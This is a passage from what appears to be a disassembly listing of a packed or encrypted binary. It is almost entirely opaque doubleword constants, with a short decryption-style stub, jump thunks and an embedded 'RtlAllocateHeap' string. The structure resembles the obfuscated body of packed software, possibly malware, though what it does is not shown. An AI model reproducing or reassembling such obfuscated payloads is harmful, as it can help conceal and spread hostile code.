41FAF494h, 88A365FBh, 738B1AFBh, 5203C39Ch dd 6280B331h, 69223215h, 6611169Ah, 6E605215h, 48443215h dd 0C265879Ch, 38B59EF5h, 66883DFCh, 1BAB2F15h, 6C9681A2h dd 8867F97Fh, 6F38DBD9h, 69E0C174h, 66223396h, 0EB9ACE15h dd 609A14A4h, 89AB275h, 66223FFCh, 58C60515h, 983B136Ah dd 31CD827Ch, 0E34366D7h, 6B943DDCh, 6883215h, 0BD258D73h dd 0D797BB74h, 9F172033h, 37AC3E9Eh, 0A7C5D39Ch, 66223211h dd 0E115F396h, 6D41619h, 664426FCh, 811AFC15h, 0E876D6A6h dd 463A271Dh, 0F85E94A5h, 61C9DC3Ah, 33795370h, 0EF883206h dd 9A2C1609h, 3D4F062Ch, 0A014F194h, 0BE01A0DEh, 687CE4Eh dd 669B6374h, 67113215h, 577754E4h, 4270B373h, 3E444860h dd 1C640773h, 0E7EE524Ch, 69CB68DAh, 5A43ECA2h, 0CF953DD6h dd 9E883214h, 3685BA44h, 0A5AAFA9Dh, 37E96B4Dh, 0ADA8C2A4h dd 0E7603E9Eh, 662236D1h, 661BDB15h, 2FB73215h, 0CBDBB4A6h dd 0B35FA7AFh, 6961C995h, 668CB791h, 6655DB15h, 0E4B93215h dd 0FA85439Ch, 0D2938697h, 1F276927h, 5A94E75Fh, 3F953DFCh dd 6883214h, 0A1ACB373h, 49B54CCh, 8D2D536Ah, 67CEB61Ah dd 0E54B3215h, 6622320Fh, 661CDB75h, 57CA3215h, 76A13422h dd 272267E2h, 6986F436h, 66883297h, 0A4785315h, 673CB61Ah dd 61F83215h, 49883215h, 0B5D7C2F7h, 5ADB95A9h, 6F953DDEh dd 69883214h, 66442196h, 6BAB3D15h, 8F113215h, 6688321Dh dd 83C04CA7h, 9BF57EF3h, 43EE0F73h, 666EB61Ah, 75AD3215h dd 88223215h, 0AE7E2BB1h, 1575BBF3h, 0FA1AFC08h, 0FEBBB759h dd 77F8423Bh, 84883215h, 0DCC928AAh, 12DF360h, 13E0A426h dd 62C9C9C3h, 0E24BF829h, 662232A5h, 6610BF1Ah, 5A713215h dd 0C9C03DF6h, 8F223216h, 6611321Dh, 9DF22A22h, 0CF6A3100h dd 66223AFCh, 0ED5B9D15h, 2E09AEBCh, 487954BCh, 33A73DEAh dd 8F113215h, 66883204h, 8900D3F8h, 0B3F485EFh, 235356BFh dd 668CAF03h, 0DF156173h, 16252C95h, 9EF0B0AEh, 3F43339Ah dd 65CEC114h, 662ADB4Eh, 0F4C33215h, 0CD876701h, 8AC7113Ch dd 4236BB11h, 0B631C2A7h, 0D987524Fh, 4C2488E3h, 5A4355F0h dd 4F953DB5h, 9F883215h, 55FF6140h, 2571D74Bh, 0A752E1E2h dd 8D0936F6h, 0A7EE2ED5h, 0EF79EF9Ch, 8FE46FFDh, 66883269h dd 8FB975h, 77826AFh, 40A0879Ch, 0EB713407h, 7ED8AD88h dd 662BDB13h, 4B293215h, 3A57726Eh, 99729441h, 72CA52C6h dd 2A113215h, 0A0E04E3Bh, 244F364Bh, 84BC85A7h, 8A490A5Ch dd 0E71D9332h, 778383FFh, 0D92D6D5Ah, 0D94653DEh, 5A9118F7h dd 219BC55Ah, 3027DDD4h, 5233E9ABh, 0E566B36Ah, 67C1614Ch dd 9EAB6CE2h, 661FDB4Ah, 0A653215h, 3288F98Dh, 0C726AE83h dd 0A101E741h, 62E0CED6h, 0EF443247h, 0ED421611h, 74F64CFh dd 0E79844EAh, 2A9F1639h, 337A1CB7h, 0C45DE9A8h, 3B60333Bh dd 664438FCh, 0F66E8B15h, 9DBB80B2h, 69A401F0h, 66443E95h dd 60AC3D15h, 69113215h, 6688329Bh, 7FC1BB15h, 6242026h dd 661135FCh, 0CB8B7015h, 0B1914703h, 7FC851Ah, 3735369Eh dd 0A709D39Ch, 66443211h, 0E126F396h, 64D1619h, 6C61D1A2h dd 0C2443215h, 665EB46Bh, 73BD6DBBh, 35DF53DBh, 6A14E7AEh dd 60C1F37Eh, 8DD0E1E2h, 3F63B310h, 91048C01h, 8EC9B3CEh dd 0EF2FE4A0h, 988969CAh, 6ACE3D4Ah, 8F223215h, 66113212h dd 9F918462h, 0EB75D734h, 743BAFA8h, 6603DB13h, 0E8593215h dd 9BBAEDC7h, 1B323997h, 0AD63CDB7h, 0AEA4F7CBh, 1C41CBB8h dd 65230A24h, 33351651h, 5A96D0A8h, 60A9F32Bh, 0A723C794h dd 8E3833D5h, 6682DB48h, 0DA063215h, 0AC5D7311h, 9682CD1Ch dd 0DFEE52BEh, 72ADF418h, 38223215h, 0B1683456h, 56A45FD5h dd 0BBF7BC35h, 547C3E2Dh, 76EF858h, 668839FCh, 8CAF2115h dd 0DEE46804h, 0D9E86D74h, 7C118F98h, 0CBB13407h, 0EF318D75h dd 61F87581h, 0F4883215h, 0BC197E41h, 634374FCh, 18446A86h dd 0D4F75810h, 42003158h, 19481F31h, 0F53C7FA7h, 6F6674Dh dd 8FB78D1Ah, 66223207h, 0D6D8E904h, 3F3BF83Ch, 343225A0h dd 0FDC8A7BCh, 9A709495h, 66E0387Dh, 4240BB15h, 662237FCh dd 41651415h, 8F23DF2Ch, 66443204h, 3A0DAE3Ah, 0F62CD311h dd 8DE4B4FBh, 9D83C6A8h, 7FA03D35h, 6113215h, 66883EFCh dd 1A976115h, 2804984Ah, 7CC54C97h, 660E3D01h, 7443215h dd 4BA78F98h, 0E31E3407h, 66883200h, 664422FCh, 0D2E85215h dd 0EF2EF7D6h, 4BE36801h, 59B34809h, 69429FDEh, 66112690h dd 6686DA15h, 27E13215h, 0F144BE1Bh, 0D9990D2Bh, 0F9E17535h dd 78BB94Eh, 662221FCh, 4F4F1715h, 4B5958ADh, 840610Fh dd 96657329h, 2F7BF1Bh, 11188B44h, 0A7C51007h, 9B62BB7Ah dd 6548FA14h, 4BA01651h, 791732EAh, 662235FCh, 0CAB28B15h dd 0E0C00A4Ch, 6DCB3DBEh, 6223215h, 766FD894h, 0EDEE753Bh dd 99BD53EDh, 0E57C1621h, 60F836D1h, 25883215h, 0CBEE8686h dd 6942F1C2h, 6611339Ch, 7661CA15h, 0D5443215h, 0DEAFB21Dh dd 0C392099Bh, 0A2F7836h, 7090E0Fh, 662EB21Ah, 0E81E3215h dd 66883213h, 6644B41Ah, 684A3215h, 0EF113275h, 0EB741621h dd 7EDFFB88h, 6AA33D13h, 69113215h, 66883496h, 66C03D15h dd 99223215h, 70903DC6h, 8F883215h, 66443204h, 0AB333502h dd 585EA8CDh, 4230A132h, 6EE5C2D5h, 9AA4DB3Bh, 0DFF8CDEAh dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0D70CC0D5h, 0ED96A45Ch dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh dd 0A851D6ACh, 8660D554h, 2559D7BAh, 934D64CEh, 32DCF143h dd 8C0C7371h, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h dd 0F00F38C8h, 7462C4Dh, 0B10887DFh, 3C6D552h, 92B85E00h dd 75152A54h, 0DDAEAE30h, 0E08FA75Ch, 0FB57BB1Dh, 0D330B0D9h dd 7BAEA45Ch, 63E96FDDh dd 0A851A258h, 75195FABh, 32DCAA30h, 8C0C7222h, 8DCB2F16h dd 7513330Dh, 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h dd 3044BA45h, 9D8D0000h, 6123459h, 23E4B8h, 1858900h, 0E8061223h dd 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Dh mov [ebx], eax jmp near ptr byte_5FFABD ; --------------------------------------------------------------------------- align 4 dd 35h dup(0) dd 0E9830000h, 8BA4F305h, 0AA5867CBh, 0DCB13256h, 82CC30EBh dd 0D1A5E736h, 0CF8182ECh, 5E0FB506h, 0EABDDBBAh, 444C3256h dd 56F95C8Eh, 2156E961h, 0AE598DC5h, 0DB13256h, 6736D8D7h dd 5E9834Eh, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 63817C17h dd 3FD525FBh, 8EADFDF5h, 22916CC6h, 7ACFB734h, 29B723ACh dd 7A1A20ADh, 277975FDh, 4796987Ch, 0FFA073E4h, 0E9834E86h dd 8BA4F305h, 4CBD8DDBh, 8D061992h, 1A1B058Dh, 6644B806h dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h, 0B870FF6h dd 0E9000000h, 6, 0BA8B0DBCh, 0BF60B3C3h, 3381917h, 0FE961F8h dd 3A000000h, 0AC96643Eh, 85422482h, 0D8033FFFh, 7A683D80h dd 89000030h, 60582404h, 0D38B66FCh, 1BD8361h, 6122Fh dd 0BD830975h, 6122149h, 50197400h, 0B8C08B53h, 411h, 2B98589h dd 9D8D0612h, 614AD70h, 585BD3FFh, 2149BD83h, 74000612h dd 0B8535017h, 411h, 2B98589h, 9D8D0612h, 614AA11h, 585BD3FFh dd 2ECF8160h, 0B514318Fh, 83F561FFh, 48904ECh, 880F5824h dd 1, 8D8DF8F9h, 61A1E80h, 8D89D18Bh, 6122DCDh, 80DE8B66h dd 85C738ECh, 61231BDh, 6284h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 74C35141h, 6810Fh, 0C3810000h dd 73AC8711h, 1185C7h, 612h, 0BD890000h, 6123469h, 835B5FFh dd 0BF0F0612h, 8195FFC2h, 6A061227h, 0D195FF00h, 8B061229h dd 0F84DEBC0h, 0D692D4B6h, 65CF097Ah, 469801EEh, 6C39F45Fh dd 0DD7B0844h, 405F3270h, 7753DBD3h, 467290D1h, 70A98751h dd 66C5D82Eh, 0ECC0D07Eh, 0AD69056Fh, 0E27443D4h, 0DD86677h dd 7996EB4Fh, 9BF7A6C7h, 0FD0041DFh, 2CD84F64h, 479FE06Dh dd 11E8h, 0C498DF00h, 0EB7C1F66h, 0BDAECEADh, 0C7874F59h dd 0F59A354h, 681h, 21BD8B00h, 81061204h, 5D2DC1h, 68C0F00h dd 89000000h, 1215F59Dh, 795BBE06h, 0F6813356h, 33566E47h dd 29BD8953h, 5B06122Dh, 816631FFh, 5AC21BC3h, 812BEB80h dd 4C4007F2h, 11B5895Ch, 81061226h, 6914FAF2h, 0A8E0F39h dd 60000000h, 9D8B5950h, 61224C1h, 9FC28161h, 0F6B6378h dd 584h, 0EB816600h, 118950A3h, 10E8h, 504BDB00h, 0C4BC784h dd 0E13D7863h, 73436134h, 5FD88B0Bh, 0E0DBE981h, 66B06C66h dd 0E0D7C181h, 858B6C66h, 612338Dh, 1EE81h, 850F0000h dd 0FFFFFF88h, 29F99509h, 0EDE90612h, 60000000h, 0A8D88C66h dd 0DF840F04h, 8B000000h, 123335B5h, 0FE8306h, 22850Fh dd 85C60000h, 61215C1h, 69696845h, 0B5FF8E72h, 61217F1h dd 827A858Dh, 0D0FF0615h, 2E3D8589h, 0F08B0612h, 0FE93E80h dd 3185h, 3D858D00h, 0FF061790h, 0C1BD8BD0h, 81061212h dd 1184C7h, 35B58B00h, 87061233h, 8B9F7h, 0A4F30000h, 3335B58Bh dd 858D0612h, 615AA9Fh, 0B58BD0FFh, 6121B91h, 0F00FE83h dd 2285h, 0C185C600h, 54061215h, 4EBEF468h, 0F1B5FFFFh dd 8D061217h, 15827A85h, 89D0FF06h, 121B9185h, 80F08B06h dd 850FE93Eh, 3Ah, 1B91B58Bh, 858D0612h, 617903Dh, 0BD8BD0FFh dd 61212C1h, 1184C781h, 0C7830000h, 91B58B08h, 8706121Bh dd 8B9F7h, 0A4F30000h, 1B91B58Bh, 858D0612h, 615AA9Fh dd 0C361D0FFh, 1F9D858Dh, 8589061Ah, 6122C5Dh, 0EE8h, 80ACFC00h dd 0DDF4A341h, 0C62E3603h, 5083EC34h, 0E8585BF8h, 10h dd 80F0F996h, 0E6052AE5h, 88B34B6Ch, 0D85EB253h, 0B1C0815Fh dd 66000068h, 0C92BF28Bh, 148BF88Bh, 8CEA8108h, 801C25B9h dd 0EA8165DFh, 6F6799C4h, 0EE8h, 2D222800h, 82CF10ADh dd 659382B5h, 0E977FC6Ah, 14h, 0FB95F014h, 2A0D75DEh, 94B5C47Dh dd 0CEB2E370h, 3BC38205h, 5AC2815Fh, 6657825Fh, 0D4B1C781h dd 0F081489h, 385h, 0FFB70F00h, 1E983F8h, 11E860h, 0CFBD0000h dd 554E2349h, 0A34FB501h, 50342A6Ah, 802DACB7h, 665B01CDh dd 4961F78Bh, 0E8BF4949h, 8114E684h, 0FF9824F9h, 73850FFFh dd 0E9FFFFFFh, 12h, 7FC63B63h, 0A6E69FF9h, 77BE5EE0h, 664AE052h dd 32E9A575h, 0F000000h, 26B10Ah, 0Bh dup(0) dd 529E900h, 0D2680000h, 0E9061A22h, 0FFF85F45h, 1A233D68h dd 5F3BE906h, 0DB68FFF8h, 0E9061A24h, 0FFF85F31h, 0D522EDA4h dd 72BF503Ch, 115EB1D9h, 0ABF81778h, 47947B12h, 0FD905E57h dd 5F2CC512h, 0C6CA63B0h, 2B63FC49h, 6EBD97E4h, 0F9812166h dd 6E85624Dh, 0A336D9B5h, 305B1475h, 6004838Bh, 6C7747DFh dd 305D6E01h, 0ADE1AADFh, 71E1562h, 0DF5F88FFh, 8FF0FB47h dd 0ADD12FDh, 0AC99A277h, 711DD6EDh, 9FAB0B9Eh, 0DE49F17Dh dd 5869ED3h, 0B54DF17Dh, 390237D8h, 0C085BA55h, 0E810D50Ch dd 0FB7C15CCh, 0ECA1621Dh, 0F45FA23h, 176FDC6Fh, 0C424AE4Bh dd 33Ah, 0A06F1CD5h, 0AE9BDF0Dh, 2EEDD4DDh, 0F1752826h dd 0A213849h, 0F1748502h, 3BEBF64Dh, 4DF1744Ch, 74870008h dd 0E9F44DF1h, 6BB34651h, 0B4DA0AA2h, 2E0136D9h, 7FB83505h dd 33E3C314h, 9548B524h, 0DEE6A58Ch, 4568AFC0h, 0DA679CA7h dd 1D25E4D1h, 4756BFA6h, 5ABFCCCDh, 772DD32h, 10FF8F48h dd 0AB642AC3h, 0CD629F2Ch, 0E7AE5316h, 360h, 0D11EF1A0h dd 6EBB5438h, 0D5AB5D5h, 0A7F41B74h, 43907F0Eh, 18C6253h dd 6328C10Eh, 0CAC65FACh, 2F5FF845h, 6AB993E0h, 0F9822562h dd 0A379564Dh, 1C0A5AEh, 0F97F19F9h, 3AF90449h, 0CD020D81h dd 3FF867FAh, 4902C14Eh, 3936C946h, 0ED22EDA0h, 8F800DC6h dd 94F4875Ah, 4DF980F8h, 24A36C22h, 145FA86Dh, 0F57940E5h dd 35000002h, 0CD66B35Ch, 6A0350BFh, 9A2EF20h, 0A33C8986h dd 0E8D825EAh, 0A36C21CDh, 41CEBD56h, 0DA355BF4h, 759AF48Dh dd 0F7FF4E28h, 4DF98290h, 0AE4016F3h, 0F901C0A5h, 49F97F19h dd 0E86924DDh, 0E539FEBDh, 2F64CFB2h, 808FFB5Ch, 9DE5784Bh dd 0B851363Eh, 30B4DF9h, 4DF9B884h, 4954ECF7h, 25661FDEh dd 4FE2B5EAh, 242C436Ah, 4DF9B863h, 22821520h, 4DF9B869h dd 1C736E8Ah, 24A6BBA4h, 1DD71h, 1C72C300h, 107B34F3h dd 0BE876CFFh, 0FBF23FD0h, 5FABDCE4h, 7C0F47DFh, 0F38B5E93h dd 0A0587E8h, 9A6F02D5h, 64E5A491h, 0A3F9B2FDh, 0F7E1199h dd 0F1CC8707h, 0BEF3FE49h, 0F788097h, 6C4DF1CFh, 1D6ECE61h dd 0D64DF1CFh, 606027BAh, 4824AE8Dh, 0D65E2931h, 541D4DF1h dd 99AB2B4Bh, 1DB01B42h, 4C1Bh, 0A5AE6D00h, 424801C0h dd 60167179h, 5A6547DFh, 0E5ED5CEFh, 49F17EE1h, 0C84744FDh dd 0E52DC093h, 0FE8DA5DAh, 0BC4DF180h, 430C41CEh, 0F98FC44Bh dd 0BFE7FCE5h, 0C4453EA3h, 0F49CD022h, 3FE2F21Bh, 0F2D23FD2h dd 2724AE18h, 0ADh, 0F31C7279h, 5A1697BEh, 43559C7Dh, 0B5EA2569h dd 0D3E477E2h, 572055BAh, 0DAA3D837h, 260E5BB4h, 47E0444Bh dd 0E330DFAFh, 0BACDD5ECh, 0C947E04Dh, 4D562BBEh, 88F31C72h dd 0F058C1C9h, 3C4749F2h, 45CAC47Dh, 3BAA3D10h, 82050D24h dd 14DF3A3h, 3B5263F6h, 0F863ACDEh, 91FBB4ABh, 0B3DAEB7Eh dd 323ADD5Ch, 7318EBAEh, 157ACh, 15FA9700h, 0B25D2FC8h dd 51BECC65h, 0EB246B04h, 8788059Eh, 836B4A3Ah, 1FB8050Ah dd 0BD56A36Ch, 56EF3CD3h, 0B08AD738h, 842E5961h, 704D4DF9h dd 361B729Ah, 3E56CAA0h, 0BE0B7629h, 59A66925h, 0FD1C72A3h dd 784B808Fh, 7F0FD80Dh, 3677C0D2h, 3CA7000Dh, 9977F8EFh dd 0E10F5D97h, 0C74844A5h, 1B565F34h, 9197659Ah, 14C458F0h dd 47E05E73h, 0DB9A0510h, 0F2AD2DD3h, 36F50049h, 8700081Fh dd 0F44DF210h, 65222AE9h, 164DF210h, 2667780Bh, 0D7B49CE9h dd 0E34DF210h, 7E1764ABh, 176420Fh, 2DF48780h, 768203C2h dd 16480ECh, 74DF305Ah, 0A135FCE1h, 5E000000h, 7483F47h dd 303B4DF2h, 5B146F9Dh, 97E8635h, 7A47DF60h, 0FCCF046Fh dd 8B1EF19Bh, 9C8ADB6h, 0F97F1501h, 7858D949h, 0DDE57EB2h dd 0E9F43CCFh, 6CA3EBB4h, 4908861Fh, 0A54A2DACh, 6FA40FB1h dd 82DB5357h, 19C8DC2Dh, 24FC0CEh, 2BEA2569h, 92F5FD14h dd 0F16E90D4h, 0D45136E6h, 25696E90h, 4AE2B5EAh, 0A0C7AC3Fh dd 0A45F521Fh, 4F780E3Ch, 0F109A0EDh, 1F30C341h, 0C26A9F70h dd 0AEE00BD6h, 838BA261h, 6E914804h, 0DCD96C77h, 5C44B43h dd 6FD03F4Ch, 775CEF20h, 3B0h, 34221A00h, 0BBF01F72h, 3E739CF2h dd 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h dd 568B8406h, 0DB10FF8Dh, 0E08950D4h, 405h, 42D00h, 4870000h dd 4895C24h, 0FB76824h, 4890000h, 70346824h, 3C890000h dd 0D4BA5224h, 0B822630Ch, 0E3B714FAh, 652AE905h, 2DD00122h dd 22652AE9h, 3C8B545Ah, 4C48124h, 52000000h, 8BAh, 0D0C28100h dd 13EBF2Ah, 0D0EA81FAh, 893EBF2Ah, 34FF5A02h, 0C4835F24h dd 24048B04h, 5E08950h, 4, 405h, 24048700h, 5A2BE95Ch dd 811CFFF8h, 0B89AF8C8h, 61A2657h, 0E0FFC503h, 6DDA58D4h dd 0A792217h, 2A05617Fh, 0B0396C0h, 32D1FC85h, 36035DF5h dd 4A6C2BD3h, 35616CBEh, 2CC32192h, 4C9CA708h, 13A93869h dd 73D6FE2Ah, 0C114631h, 28F7436Fh, 5051630h, 56DA64ADh dd 6BEFD5F5h, 16E936Bh, 27DC8D8Dh, 0D5B4061Ah, 2DCD8D89h dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 85C726C3h, 61231BDh, 7038h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 17h, 55C35040h, 0C7313D48h dd 12001185h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0E80C6270h, 4159D09h dd 810F0612h, 6, 3311B531h, 0B5FF0612h, 6120835h, 0CD8D2960h dd 5306122Ch, 0FF615BF8h, 12278195h, 999D8B06h, 6A061207h dd 0D195FF00h, 8B061229h, 0B64DEBC0h, 0B5B4249Ch, 0B0DA0A84h dd 75EDE810h, 58AA11DAh, 0CFE49B8Eh, 0DDC06716h, 0C513F8F7h dd 0F24CB34Fh, 0CE3FD4F9h, 0F9CB93A8h, 0F8C5A2D3h, 665B07F1h dd 0BFFE91A4h, 7768E386h, 0E0A20CCh, 30D41C87h, 13DFDD18h dd 264B5182h, 0B6FEF64Dh, 28E9h, 0A820B100h, 6C745229h dd 6F6C6C41h, 65746163h, 70616548h, 14000000h, 4 dup(0) dd 107AE900h, 9D680000h, 0E9061A2Ah, 0FFF85895h, 1A2BB268h dd 588BE906h, 0E768FFF8h, 0E9061A2Dh, 0FFF85881h, 1A2EEC68h dd 5877E906h, 3268FFF8h, 0E9061A32h, 0FFF8586Dh, 1A32C668h dd 5863E906h, 568FFF8h, 0E9061A33h, 0FFF85859h, 1A33EB68h dd 584FE906h, 0A668FFF8h, 0E9061A34h, 0FFF85845h, 1A350468h dd 583BE906h, 7368FFF8h, 0E9061A36h, 0FFF85831h, 1A373F68h dd 5827E906h, 0F79AFFF8h, 5A32CB18h, 0BBCF68B5h, 216E0754h dd 8508A1EEh, 684D3D8Ah, 0BB080786h, 59A66922h, 0F23FD0C0h dd 8DDA3559h, 2B5C64B3h, 584DF988h, 9314A57Bh, 0D8F2E904h dd 60411E25h, 3C04A73h, 3E5061F4h, 0BBD39CD1h, 3A561F54h dd 305D16D5h, 0BF674CDFh, 0BBD30ED3h, 0C7A02F96h, 0E04B3769h dd 7D859C93h, 47E03E0Ah, 9A32DDB0h, 0BFC8D08Fh, 0BC47E03Dh dd 800D1EB1h, 0CA4B428Fh, 996E4588h, 77881BAAh, 0FAC3F817h dd 372E7B94h, 0CD020D7Eh, 899267FAh, 2574D1DEh, 84EFC8C5h dd 0FBD1BDC5h, 0EBB449F1h, 0DF1D10D9h, 110717C7h, 1D2E84ADh dd 455C1B86h, 0F2224A3Dh, 9B2E394Dh, 22ED9EB6h, 0C0CD4DF2h dd 39511A4Fh, 28DCA1D6h, 0E0FC24B9h, 210A8A01h, 5ADF24AEh dd 31000000h, 0F9009314h, 0C4FBF0F6h, 51E42B63h, 0CF8E737Ch dd 659A7516h, 53C6A3D4h, 0C02BBA89h, 10B6BE2Dh, 5049F1E0h dd 9E5DF497h, 0B79F5808h, 0A275AA15h, 6068C70Fh, 4DF1BE27h dd 0A9DE4954h, 4AC5C982h, 356AA5E9h, 1C6FCF62h, 0D74DF1BEh dd 675F26BBh, 0B424AEA0h, 0DCh, 0F31C7206h, 0B998F5BEh dd 2C609C5Eh, 0B2DBAEE3h, 8C0005BEh, 78AD1883h, 0FB30DFAFh dd 66B35C32h, 2CCEE6Fh, 3F749BF2h, 0EDF6436Ch, 0A1CB2BBEh dd 0CB47DFEEh, 66FF4CC3h, 25B2E728h, 6E76351Ch, 49F1F16Ch dd 0E8315A5Bh, 94FF6AA5h, 0F4E1EA47h, 0FE117C35h, 92F4FC6Bh dd 0CE50049Dh, 95D8AFB7h, 831A47E5h, 8E35730Ch, 0F71EE77Fh dd 4248FFA1h, 266E016Ch, 3D455C1Bh, 47E6474Ah, 2C9B2E39h dd 0A8F51A73h, 12917E0Fh, 0EDBC9509h, 77BD8429h, 0D500000Dh dd 6D0653BCh, 0AA3F01Fh, 0A9428F80h, 43DC29E6h, 8878C54Ah dd 43CCC12Dh, 0E12E5DF6h, 7A95FB94h, 15FA942Dh, 979FEEC8h dd 4DF989F0h, 72E0B693h, 828DFE1Bh, 5D31CA17h, 533AF3B2h dd 92F5FDBCh, 0F147DF5Fh, 0A05653E6h, 1C0A5AEh, 0F17ECDF9h dd 0F82D3849h, 0F180ABE0h, 0B52C484Dh, 0AEDFE6DEh, 0E73324h dd 2D440000h, 0F18C6225h, 8316214Dh, 9F1C7255h, 0DF5FF097h dd 23646C47h, 6047DF60h, 47B2BD55h, 0CB444912h, 5AEE7E96h dd 365847DFh, 640A7D85h, 6E7947DFh, 0E4C34403h, 5BB4DADFh dd 2AF98A32h, 8D019A97h, 0B7C04D82h, 0D7030BCAh, 9F49F200h dd 35CEC11Eh, 0C85B8059h, 31287580h, 3AF91678h, 0F1865532h dd 881B264Dh, 0CBC5AAB3h, 66D13E4Eh, 5F343CFBh, 44500428h dd 87F97A39h, 3AD96F97h, 0FD68A7E5h, 0EA1FF09Ch, 0FE158417h dd 0BFC8D0E7h, 0BC47E640h, 408601B1h, 0EAF547E6h, 0C8474657h dd 64ABE27Bh, 0BC9C5CE5h, 0AD176EDh, 0C62h, 0F13ED1C0h dd 8EDB3458h, 2D7A95F5h, 0C714FB94h, 63B05F2Eh, 0E1AC4273h dd 4348E12Eh, 0AAE67FCCh, 0F7F1865h, 8AD9B300h, 0F98B0582h dd 0C399764Dh, 0A7F41B72h, 428F800Eh, 0F31C728Ch, 7699F5BEh dd 5F4A4129h, 1E7047DFh, 0F4ADA4F1h, 0C44D7699h, 0CFFA32E9h dd 781627BAh, 243B6297h, 0DFD56B1Ch, 8E5C8747h, 4C46689Ah dd 516A9B4h, 72518689h, 96F8F3EEh, 5F372C79h, 8C22BC13h dd 0ABh, 2A5AEDEh, 7B7B8A7Bh, 0B2D83910h, 2B33F25Dh, 49F24013h dd 4B72A7B2h, 991C25CAh, 13E61BF4h, 0C11BF3EAh, 21BDCE2Eh dd 0F7364DF2h, 21AFD8E0h, 0C1CC4DF2h, 88FFE22Eh, 24AE2008h dd 6ADDh, 6B232F00h, 8D47DF5Fh, 0D6DE9D84h, 49F16BE0h dd 0D66FBCC7h, 0E72862B7h, 0B1BA477Ch, 741F6870h, 515C4DF1h dd 0C71F27E6h, 0EE500390h, 1E9F96E3h, 5B56EDA0h, 0B5C659CBh dd 72FF34DBh, 216F2869h, 0D1493EEEh, 393A47DFh, 0B487BC53h dd 171FDE49h, 49F1F863h, 0BF783742h, 3B0E43CCh, 0FBB4ABA8h dd 73467B94h, 88ED1E0h, 0AE3B0000h, 0EA01C0A5h, 0FD6BC169h dd 0D0557E91h, 0F151E439h, 49F24F05h, 917B8809h, 0F033C47Bh dd 7C14155Dh, 208B5E93h, 850BC4EBh, 0DE13FC94h, 0AD0DA00Bh dd 4DF239DEh, 0A1E8F915h, 24AE3821h, 1EF6h, 68234800h dd 4847DF5Fh, 55BAD089h, 0A4EC4D20h, 0D3C9D86Bh, 0F2FFFFFBh dd 83B85739h, 0AEEF1DB0h, 0F901C0A5h, 49F18FB9h, 7DA4D9E4h dd 0B043CCC4h, 0F1903B50h, 459CB84Dh, 0AED2764Eh, 127D3624h dd 62F5C8FDh, 4FB60h, 0C9F07100h, 58DE2DDDh, 780F17D6h dd 0B4DF25Eh, 9B3F6D00h, 0EAD7E0B9h, 7B0C142Bh, 847DF5Fh dd 0F3FB6AFDh, 49F1755Bh, 29E6A9AAh, 4B3CAB00h, 0BD28C48Ch dd 0CBC47D6Ch, 0E27E0F44h, 9D081460h, 4EAE41ACh, 0B414D21Eh dd 11C469EAh, 4F9B6532h, 0F7DEE7BCh, 0D05E3038h, 1E29F9C8h dd 6E535CE9h, 4D6EA7AFh, 4A55F3B8h, 5DBCD28Bh, 0D9ACE12Eh dd 688216Eh, 8C858A09h, 28CD426Ah, 0A2D61h, 9068B00h, 0A66923BCh dd 45CAC059h, 0DF305FF8h, 7B94F992h, 77773E2Eh, 13ACF916h dd 0B14A9778h, 4AE330DFh, 0A47ECB44h, 8D3A4D55h, 6C494DF9h dd 0EF931496h, 0CDA2078Fh, 206E7F12h, 242DBAEFh, 5C767E3Dh dd 4B49F1FBh, 0BCA3E4ECh, 0D5E04DF1h, 98F2AB6Ah, 0DC6F4277h dd 373F566Dh, 4DF1BC50h, 0C7C72833h, 0ECA4B548h, 7DB25D2Dh dd 0FBF23FAAh, 92C74842h, 751B2CBFh, 0BF5ADB9Ah, 0F00B3703h dd 193116A9h, 4DF1F56Eh, 0F20596F5h, 6A57604Dh, 7798F2ABh dd 356D75E4h, 500413h, 171F36F5h, 47E00770h, 94C9464Ah dd 8B1E29C1h, 7FD8EA6h, 0DAF647E0h, 56008007h, 24D522BCh dd 27000000h, 1C0A5AEh, 0F17FC9F9h, 0AEB6CD49h, 4DF17FD9h dd 0B01E1AAh, 0D093E4F5h, 7F8AD265h, 15834Ah, 0AEED0000h dd 0F901C0A5h, 49F17BF5h, 0A9D00510h, 3D729DF0h, 72A9D76Ah dd 9974F31Ch, 0D9EDBA7Dh, 9286D34h, 0B860000h, 6E1EB704h dd 0CFBB54A1h, 355AF340h, 99F48DDAh, 7C392976h, 0A7F41B72h dd 45927D0Eh, 0DE2BE4ACh, 79C64945h, 3F48509Fh, 3C4DF98Eh dd 0A5AE895Fh, 6023646Ch, 556047DFh, 5F232BEAh, 4E49F170h dd 79A0E7EFh, 2D524DF1h, 9CC2C966h, 0EE4F5AF2h, 693C719Eh dd 8E00C9FEh, 0C24C3481h, 382E9AD5h, 97F4412Eh, 3C4B538Eh dd 3F6938D9h, 19F50B34h, 0C599EF01h, 0ACE29B5Ah, 4A61D063h dd 8316F991h, 4ABBCB23h, 939BFA6Bh, 6F2AC3F4h, 67202887h dd 146F2AC3h, 0FE339E09h, 9F701ED7h, 7E91FB0Ch, 0F0CBD431h dd 683B709Fh, 6C363EFDh, 5B713CF0h, 88031B50h, 6B6938A9h dd 9BFB924Fh, 0E303E5A8h, 17AA652Ah, 16915h, 70F2600h dd 6938B180h, 21B9563Ah, 14558316h, 0ED7B7393h, 0DF81A2E5h dd 0ADD6E147h, 74072AADh, 0F0AF969Fh, 0F2419AE8h, 2ADCA549h dd 14FB9446h, 0D5E30CDFh, 3F74DF41h, 15391876h, 0E53BE1D3h dd 0CAC10E79h, 343C7F11h, 4DF1EA53h, 27BA2530h, 62977816h dd 9B1DC44Ah, 0C8192D2Eh, 424A711Dh, 69391045h, 